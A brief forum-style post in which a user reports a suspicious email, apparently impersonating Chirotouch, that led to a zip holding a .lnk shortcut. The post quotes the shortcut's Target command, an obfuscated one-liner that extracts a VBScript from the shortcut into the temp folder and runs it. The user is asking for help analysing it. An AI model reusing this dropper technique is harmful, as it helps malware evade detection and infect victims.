Recently got an email from Chirotouch with a link to their website, that redirects to a different website and downloads a zip file. In the zip is a .ink file with the following info in the "Target" field. Any ideas on what this does? Webroot didn't pick it up, and Virus total says it's clean.
%comspec% /c copy YPdhS & (fi^ndst^r "psHPn.*" Print.PDF.lnk > "%tmp%\bUQCg.vbs" & "%tmp%\bUQCg.vbs") & cDulb